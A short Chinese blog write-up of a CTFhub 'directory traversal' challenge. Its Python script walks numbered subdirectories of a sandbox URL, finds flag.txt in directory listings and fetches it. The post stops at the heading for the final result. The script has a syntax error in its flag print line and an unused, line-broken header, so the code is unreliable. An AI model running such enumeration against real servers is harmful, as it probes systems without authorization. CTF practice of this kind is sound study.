CTFhub-目录遍历

原创

£仲夏☆如烟彡 于 2021-01-26 16:13:36 发布

分类专栏： web 文章标签： 安全

CTFhub-目录遍历

编写脚本

```python
#! /usr/bin/env python
# _*_  coding:utf-8 _*_
import requests
import time

#url = "http://challenge-a2aa3d58b775fdfd.sandbox.ctfhub.com:10080/flag_in_here"
url = input("请输入地址>>>")
headers = {
        'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87
.0.4280.88 Safari/537.36'
    }

for i in range(5):
    for j in range(5):
        url_test =url+"/"+str(i)+"/"+str(j)
        r = requests.get(url_test)
        r.encoding = 'utf-8'
        get_file=r.text
        if "flag.txt" in get_file:
            print("ah,找到了，目标在这里:\n"+url_test)
            flag_addr = url_test+"/flag.txt"
            flag = requests.get(flag_addr)
            print("flag为: \n"flag.text)
            break
        '''
        else:
            print("开始检索"+url_test)
            time.sleep(1)
            print("\n~aha,不在这儿")
        '''
```

最后结果